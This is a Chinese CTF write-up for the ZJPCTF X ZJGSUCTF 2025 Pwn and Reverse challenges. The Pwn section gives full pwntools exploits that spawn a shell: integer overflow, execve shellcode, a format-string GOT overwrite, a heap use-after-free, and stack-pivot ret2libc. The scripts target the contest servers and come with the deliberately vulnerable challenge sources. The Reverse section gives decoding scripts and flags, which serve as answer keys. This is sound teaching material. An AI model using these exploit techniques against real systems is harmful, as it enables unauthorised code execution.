ZJPCTF X ZJGSUCTF 2025 Reverse&Pwn wp

Pwn

math_game

预计解出人数:10+

实际解出人数:20

welcome函数是输出一堆字符串,按回车进入math1

伪随机数生成两个数,要求输入两个数乘积

有5秒的时间,超时则无效

此题考查的是常规的pwntools函数使用,这里用eval快速计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from struct import pack
from ctypes import *

filename='./math'
debug = 1
if debug:
io = process(filename)
else:
io = remote('',)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

ru("challenge.")
s('\n')
s=io.recvuntil(" = ", drop=True)
#print(s)
s1=eval(s)
#print(s1)
sl(str(s1).encode())
inter()

not_checkin

预计解出人数:6

实际解出人数:15

根据题目描述和下面的main,很明显需要整数溢出绕过负号

根据32位有符号整数范围,很容易想到需要输入2147483651

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

filename='./not_checkin'
elf = ELF(filename)
context(arch = elf.arch,os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('124.221.156.93',32818)

io.sendline(str(2147483651))
io.interactive()

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void init(int argc, const char **argv, const char **envp) {
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(int argc, const char **argv, const char **envp) {
char s[60];
int v5;

init(argc, argv, envp);
puts("Welcome to 2025 ZJPCTF X ZJGSUCTF, this is a pwn checkin game.");
printf("Please input a number to getshell: ");

if (fgets(s, 50, stdin)) {
if (s[0] == '-') {
puts("Detected negative sign.");
return 0;
} else {
v5 = atoi(s);
if (v5 == -2147483645) {
system("/bin/sh");
} else {
puts("You are wrong.");
}
return 0;
}
} else {
puts("Invalid input.");
return 0;
}
}

strange_shellcode

预计解出人数:3

实际解出人数:1

strange的点在于把rsp和rbp置零,也就是说直接用系统生成的shellcode没用

因为题目中已经把rcx和rdx置零了,考虑直接用ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./strange_shellcode'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('node.vnteam.cn',45311)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

shellcode=asm('''
mov al,59
add rdi,8
syscall
''')+b'/bin/sh\x00'
#debug()
s(shellcode)
inter()

当然也可以考虑恢复栈后写一个read的shellcode,然后再利用系统生成的shellcode

把 rsp 移到后面可读写的位置当 stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
shellcode=asm('''
mov rsp,rdi
add rsp,0x50
mov rsi,rsp
mov rdx,rdi
xor rdi,rdi
syscall
call rsi
''')
#debug()
s(shellcode)
print(len(shellcode))
shellcode=asm(shellcraft.sh())
s(shellcode)
inter()

源码使用内联汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}


__attribute__((naked)) void exploit(void *buf) {
__asm__(
"endbr64;\n"
"push %rbp;\n"
"mov %rsp, %rbp;\n"
"mov %rdi, -0x30(%rbp);\n"
"mov -0x30(%rbp), %rdi;\n"
"xor %rbp, %rbp;\n"
"xor %rsp, %rsp;\n"
"xor %rsi, %rsi;\n"
"xor %rax, %rax;\n"
"xor %rcx, %rcx;\n"
"xor %rdx, %rdx;\n"
"jmp *%rdi;\n"
);
}

int main(int argc, const char **argv, const char **envp) {
void *buf;

init();

puts("Hello ZJPCTF X ZJGSUCTF ctfers!");
puts("Legend says there was a bug hidden in a mysterious memory page.");
puts("ZJPCTF ctfers tried every trick, but it was the ZJGSUCTF ctfers who whispered:");
puts("\"Try jumping to it... literally.\" Can you uncover their secret?");

buf = mmap((void *)0x202505000, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) {
perror("mmap");
exit(1);
}

read(0, buf, 0x14);

mprotect(buf, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

exploit(buf);

return 0;
}

format_master

预计解出人数:1

实际解出人数:0

什么保护都没开(实际上是操作失误但是不想改了,看看能不能有非预期)

key是全局变量,需要用magic里面的格式化字符串漏洞去修改

后续有一个栈溢出,刚好覆盖到返回地址,可以考虑修改返回地址重新利用格式化字符串修改printf为system,再读入一次/bin/sh即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./format_master'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('124.221.156.93',32817)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

key=0x600d2c
leave_ret=0x400774
ret=0x400549

main_addr = elf.sym["main"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start_addr = elf.sym["_start"]


payload1=fmtstr_payload(6,{key:22})
sla("Tell me what's your name?",payload1)
payload2=b'a'*0x38+p64(start_addr)
sa('Tell me more about you.',payload2)
payload3=fmtstr_payload(6,{elf.got['printf']:elf.sym['system']})
sa("Tell me what's your name?",payload3)
payload4=b'a'*0x38+p64(start_addr)
sa('more about you',payload4)
payload5='/bin/sh\x00'
sa("Tell me what's your name?",payload5)

inter()

也可以考虑栈迁移,但是可能会更麻烦一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>

int key;

void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

int fake_flag(){
echo system("echo flag");
}

int magic() {
char buf[256];
puts("Welcome to 2025 ZJPCTF X ZJGSUCTF.");
puts("Tell me what's your name?");
read(0, buf, 0x100);
printf("Hello,");
return printf(buf);
}

int main(int argc, const char **argv, const char **envp) {
char buf[48];

init();
magic();
if (key == 22) {
puts("Tell me more about you.");
read(0, buf, 0x40);
} else {
puts("You are not allow in.");
puts("Please try again later.");
}

return 0;
}

ezheap

预计解出人数:2

实际解出人数:0

经典增删改查

delete存在UAF漏洞

一次create经过两次malloc,分别是struct和content

show的时候是函数指针加content,将ptr[i][1]处原先的print_content函数改成system,ptr[v1]改写成bin/sh的地址,这样在执行show的时候就会执行system(’/bin/sh’)

由于fastbin是FILO,先写/bin/sh再写system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

filename='ezheap'
elf=ELF(filename)
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
p = process(filename)
else:
p = remote('124.221.156.93',32820)


def add(size,content):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Please input size: ")
p.sendline(str(size))
p.recvuntil("Please input content: ")
p.send(content)

def delete(index):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Please input list index: ")
p.sendline(str(index))

def show(index):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Please input list index: ")
p.sendline(str(index))

bin_sh=0x602010
system=elf.plt['system']

add(0x80,"aaaa")
add(0x80,"bbbb")

delete(0)
delete(1)

add(0x10,p64(bin_sh) + p64(system))

show(0)
p.interactive()

ezstack

预计解出人数:1

实际解出人数:1

常规栈迁移

刚好能溢出到返回地址

本质是栈迁移+ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from struct import pack
import random
import time
#from LibcSearcher import *

filename='./ezstack'
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = process(filename)
else:
io = remote('124.221.156.93',32835)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])
def get_sb() :
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))

bss=elf.bss()+0x500
ret=0x400519
leave_ret=0x4006c6
pop_rdi=0x400763
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read=0x4006ab
pop_rbp = 0x4005c0

payload = b'a' * 0x30 + p64(bss + 0x30) + p64(read)
sa(b"This is a stack migration challenge.Have a good time.", payload)
payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x30) + p64(read)
payload2 += p64(bss - 8) + p64(leave_ret)
s(payload2)
base = get_addr() - libc.sym['puts']
print(hex(base))
system, bin_sh = get_sb()
payload3 = (p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret) + p64(system)).ljust(0x30, b'\x00')
payload3+=p64(bss + 0x300 - 8) + p64(leave_ret)
s(payload3)
inter()

Re

逆向的本质

预期解出人数:20+

实际解出人数:58

故事里的“反向绽放”,“从右至左”,“相反轨迹”都在提示将字符串倒置

直接python倒置字符串或者手动翻转也行

1
2
3
s='}detacitsihpos_3b_ot_tub_llik_dn@_thg1f_ot_ton_s1_esrever_f0_ecn3sse_ehT{galf'
print(s[::-1])
flag{The_ess3nce_0f_reverse_1s_not_to_f1ght_@nd_kill_but_to_b3_sophisticated}

Unpack

预期解出人数:10+

实际解出人数:32

识别为upx壳,但无法直接upx -d

010editor 打开程序,把里面的ubx都改为UPX

用upx进行脱壳

得到加密逻辑

写脚本进行破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
flag{Upx_1s_n0t_d1fficult}
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <time.h>
#include <Windows.h>

using namespace std;

unsigned char ida_chars[] =
{
0x6D, 0x68, 0x64, 0x69, 0x70, 0x51, 0x75, 0x76, 0x54, 0x35,
0x76, 0x51, 0x65, 0x34, 0x71, 0x51, 0x6F, 0x35, 0x63, 0x68,
0x62, 0x67, 0x70, 0x62, 0x7F, 0x79, 0x00, 0x00, 0x0B, 0x04,
0x05, 0x0E
};

int main() {

for(short i = 0; i < 26;i++){
printf("%c", (int)((unsigned char)ida_chars[i] ^ ida_chars[i % 4 + 28]));
}

return 0;
}

非预期

HarRE

预期解出人数:10+

实际解出人数:2

拿到hap文件,得知是鸿蒙app安装包,改后缀为zip后解压

在ets文件夹下面找到abc文件,然后使用abc-decompiler进行反编译,entry/src/main/ets/pages下找到主逻辑

可以看到customBase64Encode把inputText进行了编码,然后在变量中找到码表

然后就能解出flag

1
flag{Oh_y0u_knOw_the_Harmony1!!}

string大法直接非预期

LoginSystem

预期解出人数:0

实际解出人数:3

两个算法很明显,也没有用混淆和jni,so层魔改的话会更加难以识别

魔改的base64算法加密username,具体魔改点为把加密后的数据中间两位调换

学弟用ai写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def decode_custom_base64(s):
# 魔改Base64字符表
BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
table = {char: idx for idx, char in enumerate(BASE64_TABLE)}
bytes_list = []
s = s.rstrip('=') # 去除末尾等号避免⼲扰
# 每次处理4个字符
for i in range(0, len(s), 4):
chunk = s[i:i + 4].ljust(4, '=') # 补⾜4字符
c1, c2, c3, c4 = chunk
# 字符转6位值(等号视为0)
v1 = table.get(c1, 0)
v2 = table.get(c2, 0)
v3 = table.get(c3, 0)
v4 = table.get(c4, 0)
# 逆向魔改编码规则计算原始字节
byte1 = (v1 << 2) | ((v3 >> 4) & 0x03)
byte2 = ((v3 & 0x0F) << 4) | ((v2 >> 2) & 0x0F)
byte3 = ((v2 & 0x03) << 6) | v4
# 根据等号位置判断有效字节
if c2 == '=': # 仅1字节有效
bytes_list.append(byte1)
elif c4 == '=': # 2字节有效
bytes_list.append(byte1)
bytes_list.append(byte2)
else: # 3字节有效
bytes_list.append(byte1)
bytes_list.append(byte2)
bytes_list.append(byte3)
return bytes(bytes_list)
# 示例验证
encoded_str = "aFj5YITya42wdRzuZIHwM5Wk"
decoded_bytes = decode_custom_base64(encoded_str)
print(f"Decoded: {decoded_bytes}") # 输出 a3
# j1ya22kn0w4ndr01nd

rc4魔改部分为把原来的异或操作改为加操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def rc4(data, key):
S = list(range(256))
j = 0
out = []

for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]

i = j = 0
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
char -= S[(S[i] + S[j])%256]
out.append(char% 256)

return bytes(out)


a=[14, 50, -82, 75, -125, 55, -112, 85, 99, -56, 97, -82, 69, 61, -2, -113, -99, 48]
for i in range(len(a)):
if a[i]<0:
a[i]+=256
data = bytes(a)
key = b'j1ya22kn0w4ndr01nd'
decrypted = rc4(data, key)
print(decrypted)
#b'andro1nd14d1ffcult'

flag{j1ya22kn0w4ndr01nd_andro1nd14d1ffcult}

IosRE

预期解出人数:3

实际解出人数:1

被学弟找到之前写的文章秒了

https://j1ya-22.github.io/2025/04/11/ios%E9%80%86%E5%90%91%E6%95%B4%E7%90%86/

ipa文件,首先解压

UnDebuggable即我们要逆向的文件

在buttonClick函数中找到比对处

可以看到,比对逻辑是把我们的输入内容(theTextField)和theLabel.text的内容进行相同检测

所以下一步就是对theLabel进行交叉引用,看看哪些部分对label进行了改动

可以看到viewDidLoad里面同样引用了theLabel,我们进去看看

这里对unk_10000F541字节逐位和Ios进行了异或操作,所以解密就是反过来操作

1
flag{Reverse_f0r_I0s_1s_InteresTing}

babyz3

明确的z3,但是下面的方程导致例如s[0]和s[2]可以互换,这样考虑的话这道题至少有8个flag

一直以为解是唯一的,害得师傅们卡了好久,这里给所有卡住的师傅磕一个

下面只是其中一个方程得到的一个flag,linux下运行后输入得到check ok的都是对的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import libnum
from z3 import *

for i in (range(33, 128)):
x = Solver()
ans = []
s = [BitVec(('%d' % i), 32) for i in range(5)]
x.add(s[0] & 0xff == i)
x.add((s[0] & 0xffff) * (s[0] >> 16) == 342772773
, (s[0] & 0xffff) + (s[0] >> 16) == 39526
, s[1] - s[2] == 1005712381
, (s[1] & 0xffff) + (s[1] >> 16) == 56269
, (s[2] & 0xffff) - (s[2] >> 16) == 15092
, ((s[1]) & 0xff) * ((s[2]) & 0xff) == 10710
, ((s[1] >> 16) & 0xff) * ((s[2] >> 16) & 0xff) == 12051
, ((s[1]) >> 24) + ((s[2]) >> 24) == 172
, (s[3] & 0xffff) * (s[3] >> 16) == 171593250
, (s[3] & 0xffff) + (s[3] >> 16) == 26219
, (s[4] & 0xffff) * (s[4] >> 16) == 376306868
, (s[4] & 0xffff) + (s[4] >> 16) == 40341)
if x.check() == sat:
model = x.model()
for j in s:
print(libnum.n2s(model[j].as_long())[::-1].decode(), end='')
print()
#5h12fggtisu89521ad49

ZJPCTF X ZJGSUCTF 2025 Reverse&Pwn wp
https://j1ya-22.github.io/2025/05/14/ZJPCTF-X-ZJGSUCTF-2025-Reverse-Pwn-wp/
作者
j1ya
发布于
2025年5月14日
许可协议